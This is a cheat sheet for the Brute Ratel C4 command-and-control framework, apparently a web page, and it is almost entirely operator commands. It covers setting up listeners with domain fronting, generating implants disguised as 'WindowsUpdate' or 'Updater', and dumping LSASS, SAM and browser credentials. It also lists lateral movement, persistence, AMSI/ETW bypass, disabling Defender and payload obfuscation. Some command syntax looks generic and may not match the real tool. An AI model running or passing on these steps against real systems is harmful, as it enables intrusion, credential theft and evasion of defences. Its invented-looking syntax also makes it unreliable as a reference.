Brute Ratel C4 Framework Cheat Sheet

Overview

Brute Ratel C4 (BRc4) is a commercial customized Command and Control (C2) framework designed for red team operations and adversary simulations. It provides advanced evasion capabilities, sophisticated post-exploitation features, and professional-grade operational security.

⚠️ Warning: This is a commercial tool requiring a valid license. This tool is intended for authorized penetration testing and red team exercises only. Ensure you have proper authorization before using in any environment.

Installation

License Activation

bash

# Activate license (requires valid license key)
./brc4 --activate <license-key>

# Verify license status
./brc4 --license-info

# Update license
./brc4 --update-license

Server Setup

bash

# Start BRc4 server
./brc4 --server

# Start with custom configuration
./brc4 --server --config /path/to/config.json

# Start with specific interface
./brc4 --server --interface 0.0.0.0 --port 443

Client Connection

bash

# Connect to server
./brc4 --client --server 192.168.1.100:443

# Connect with authentication
./brc4 --client --server 192.168.1.100:443 --auth-token <token>

Command Reference

Server Management

Command	Description
`help`	Display help menu
`version`	Show version information
`listeners`	List active listeners
`badgers`	List connected badgers (agents)
`operators`	List connected operators
`exit`	Exit BRc4 server

Listener Management

Command	Description
`listener http`	Create HTTP listener
`listener https`	Create HTTPS listener
`listener dns`	Create DNS listener
`listener tcp`	Create TCP listener
`listener smb`	Create SMB listener
`listener stop <id>`	Stop listener

Badger (Agent) Management

Command	Description
`badger <id>`	Interact with badger
`badger kill <id>`	Kill badger
`badger sleep <time>`	Set sleep interval
`badger jitter <percentage>`	Set jitter percentage
`badger proxy <proxy>`	Set proxy for badger

Listener Configuration

HTTP/HTTPS Listeners

bash

# Create HTTPS listener
listener https
set host 0.0.0.0
set port 443
set cert /path/to/cert.pem
set key /path/to/key.pem
set malleable /path/to/profile.profile
start

# Create HTTP listener with domain fronting
listener http
set host 0.0.0.0
set port 80
set front-domain cdn.example.com
set host-header legitimate-site.com
start

DNS Listener

bash

# Create DNS listener
listener dns
set domain example.com
set nameserver ns1.example.com
set port 53
start

SMB Listener

bash

# Create SMB listener
listener smb
set pipename msagent_pipe
set host 0.0.0.0
set port 445
start

TCP Listener

bash

# Create TCP listener
listener tcp
set host 0.0.0.0
set port 4444
set bind true
start

Badger Generation

Windows Badgers

bash

# Generate Windows executable
generate windows exe
set listener https-443
set arch x64
set format exe
set output windows_badger.exe
generate

# Generate Windows DLL
generate windows dll
set listener https-443
set arch x64
set format dll
set output windows_badger.dll
generate

# Generate Windows service
generate windows service
set listener https-443
set arch x64
set service-name "WindowsUpdate"
set output windows_service.exe
generate

Linux Badgers

bash

# Generate Linux ELF
generate linux elf
set listener https-443
set arch x64
set format elf
set output linux_badger
generate

# Generate Linux shared library
generate linux so
set listener https-443
set arch x64
set format so
set output linux_badger.so
generate

macOS Badgers

bash

# Generate macOS binary
generate macos macho
set listener https-443
set arch x64
set format macho
set output macos_badger
generate

# Generate macOS application
generate macos app
set listener https-443
set arch x64
set app-name "Updater"
set output macos_app.app
generate

Post-Exploitation Commands

System Information

bash

# Get system information
sysinfo

# Get current user
whoami

# Get privileges
getprivs

# Get environment variables
env

# Get network interfaces
ifconfig

File Operations

bash

# List directory
ls /path/to/directory

# Change directory
cd /path/to/directory

# Download file
download /remote/path/file.txt

# Upload file
upload /local/path/file.txt /remote/path/

# Execute file
execute /path/to/executable

# Delete file
rm /path/to/file

Process Management

bash

# List processes
ps

# Kill process
kill <pid>

# Migrate to process
migrate <pid>

# Inject into process
inject <pid> <payload>

# Create process
spawn <executable>

Network Operations

bash

# Network connections
netstat

# ARP table
arp

# Routing table
route

# Port scan
portscan 192.168.1.0/24 80,443,3389

# Ping sweep
ping 192.168.1.0/24

Advanced Features

Malleable C2 Profiles

bash

# Load malleable profile
set malleable /path/to/profile.profile

# Custom HTTP profile
http-get {
    set uri "/api/v1/status";
    client {
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
        header "Accept" "application/json";
    }
    server {
        header "Content-Type" "application/json";
        output {
            print;
        }
    }
}

Process Injection Techniques

bash

# Classic DLL injection
inject-dll <pid> /path/to/dll.dll

# Process hollowing
hollow <target-process> <payload>

# Reflective DLL loading
reflective-dll /path/to/dll.dll

# Manual DLL mapping
map-dll <pid> /path/to/dll.dll

# Thread hijacking
hijack-thread <pid> <payload>

Credential Harvesting

bash

# Dump LSASS
lsass-dump

# Mimikatz integration
mimikatz sekurlsa::logonpasswords

# SAM dump
sam-dump

# LSA secrets
lsa-secrets

# Cached credentials
cache-dump

# Browser credentials
browser-creds

Lateral Movement

bash

# WMI execution
wmi-exec 192.168.1.10 "whoami"

# PSExec
psexec 192.168.1.10 "whoami"

# SMB execution
smb-exec 192.168.1.10 "whoami"

# DCOM execution
dcom-exec 192.168.1.10 "whoami"

# WinRM execution
winrm-exec 192.168.1.10 "whoami"

Persistence Mechanisms

bash

# Registry persistence
persist-registry HKCU "Software\Microsoft\Windows\CurrentVersion\Run" "Update" "C:\temp\badger.exe"

# Scheduled task
persist-task "WindowsUpdate" "C:\temp\badger.exe" daily

# Service persistence
persist-service "UpdateService" "C:\temp\badger.exe"

# WMI persistence
persist-wmi "ProcessStart" "C:\temp\badger.exe"

# Startup folder
persist-startup "C:\temp\badger.exe"

Evasion Techniques

Anti-Analysis

bash

# VM detection
vm-detect

# Sandbox evasion
sandbox-evasion

# Debugger detection
debugger-detect

# Sleep evasion
sleep-evasion 300

# User interaction check
user-interaction

AMSI/ETW Bypass

bash

# AMSI bypass
amsi-bypass

# ETW bypass
etw-bypass

# Disable Windows Defender
disable-defender

# Unhook DLLs
unhook-dlls

# Patch AMSI
patch-amsi

Traffic Obfuscation

bash

# Domain fronting
set front-domain cdn.cloudflare.com
set host-header legitimate-site.com

# Custom User-Agent
set user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

# Custom headers
set headers "X-Forwarded-For: 192.168.1.100"

# Proxy chains
set proxy-chain "http://proxy1:8080,socks5://proxy2:1080"

Payload Obfuscation

bash

# Encrypt payload
encrypt-payload aes256 <key>

# Obfuscate strings
obfuscate-strings

# Pack executable
pack-exe upx

# Sign executable
sign-exe /path/to/cert.pfx

# Polymorphic generation
polymorphic-gen

Operational Security

Communication Security

bash

# Use encrypted channels
set encryption aes256

# Certificate pinning
set cert-pinning true

# Custom TLS configuration
set tls-version 1.3
set cipher-suite ECDHE-RSA-AES256-GCM-SHA384

# Jitter configuration
set jitter 20
set jitter-type random

Infrastructure Management

bash

# Redirector setup
set redirector nginx
set upstream-server 192.168.1.100:443

# Load balancing
set load-balancer round-robin
set backend-servers "192.168.1.100,192.168.1.101"

# Failover configuration
set failover-servers "backup1.com,backup2.com"

Logging and Monitoring

bash

# Enable detailed logging
set log-level debug
set log-file /var/log/brc4.log

# Operator tracking
set operator-logging true

# Command auditing
set command-audit true

# Session recording
set session-recording true

Team Operations

Multi-Operator Support

bash

# Add operator
operator add username password

# Set operator permissions
operator permissions username read,write,execute

# Operator sessions
operator sessions

# Kick operator
operator kick username

Collaboration Features

bash

# Share badger session
share-session <badger-id> <operator>

# Session notes
note-add "Important finding"
note-list
note-delete <note-id>

# Team chat
chat "Message to team"
chat-history

Troubleshooting

Connection Issues

bash

# Test listener
test-listener <listener-id>

# Check connectivity
test-connectivity <target>

# Verify certificates
verify-cert /path/to/cert.pem

# Debug mode
set debug true

Badger Issues

bash

# Badger health check
health-check <badger-id>

# Reset badger
reset-badger <badger-id>

# Badger diagnostics
diagnostics <badger-id>

# Force reconnect
reconnect <badger-id>

Performance Optimization

bash

# Optimize sleep intervals
set sleep-optimization true

# Bandwidth throttling
set bandwidth-limit 1024

# Connection pooling
set connection-pooling true

# Compression
set compression gzip

Configuration

Server Configuration

json

{
  "server": {
    "host": "0.0.0.0",
    "port": 443,
    "ssl": true,
    "cert": "/path/to/cert.pem",
    "key": "/path/to/key.pem"
  },
  "database": {
    "type": "sqlite",
    "path": "/opt/brc4/database.db"
  },
  "logging": {
    "level": "info",
    "file": "/var/log/brc4.log"
  }
}

Malleable Profile

# Custom malleable profile
set sample_name "Custom Profile";
set sleeptime "30000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";

http-get {
    set uri "/api/status";
    client {
        header "Accept" "application/json";
        header "Accept-Language" "en-US,en;q=0.9";
    }
    server {
        header "Content-Type" "application/json";
        output {
            print;
        }
    }
}

Resources

This cheat sheet provides a comprehensive reference for using Brute Ratel C4. This is a commercial tool requiring proper licensing. Always ensure you have proper authorization before using this tool in any environment.

Brute Ratel C4 Framework Cheat Sheet ​

Overview ​

Installation ​

License Activation ​

Server Setup ​

Client Connection ​

Command Reference ​

Server Management ​

Listener Management ​

Badger (Agent) Management ​

Listener Configuration ​

HTTP/HTTPS Listeners ​

DNS Listener ​

SMB Listener ​

TCP Listener ​

Badger Generation ​

Windows Badgers ​

Linux Badgers ​

macOS Badgers ​

Post-Exploitation Commands ​

System Information ​

File Operations ​

Process Management ​

Network Operations ​

Advanced Features ​

Malleable C2 Profiles ​

Process Injection Techniques ​

Credential Harvesting ​

Lateral Movement ​

Persistence Mechanisms ​

Evasion Techniques ​

Anti-Analysis ​

AMSI/ETW Bypass ​

Traffic Obfuscation ​

Payload Obfuscation ​

Operational Security ​

Communication Security ​

Infrastructure Management ​

Logging and Monitoring ​

Team Operations ​

Multi-Operator Support ​

Collaboration Features ​

Troubleshooting ​

Connection Issues ​

Badger Issues ​

Performance Optimization ​

Configuration ​

Server Configuration ​

Malleable Profile ​

Resources ​

Brute Ratel C4 Framework Cheat Sheet

Overview

Installation

License Activation

Server Setup

Client Connection

Command Reference

Server Management

Listener Management

Badger (Agent) Management

Listener Configuration

HTTP/HTTPS Listeners

DNS Listener

SMB Listener

TCP Listener

Badger Generation

Windows Badgers

Linux Badgers

macOS Badgers

Post-Exploitation Commands

System Information

File Operations

Process Management

Network Operations

Advanced Features

Malleable C2 Profiles

Process Injection Techniques

Credential Harvesting

Lateral Movement

Persistence Mechanisms

Evasion Techniques

Anti-Analysis

AMSI/ETW Bypass

Traffic Obfuscation

Payload Obfuscation

Operational Security

Communication Security

Infrastructure Management

Logging and Monitoring

Team Operations

Multi-Operator Support

Collaboration Features

Troubleshooting

Connection Issues

Badger Issues

Performance Optimization

Configuration

Server Configuration

Malleable Profile

Resources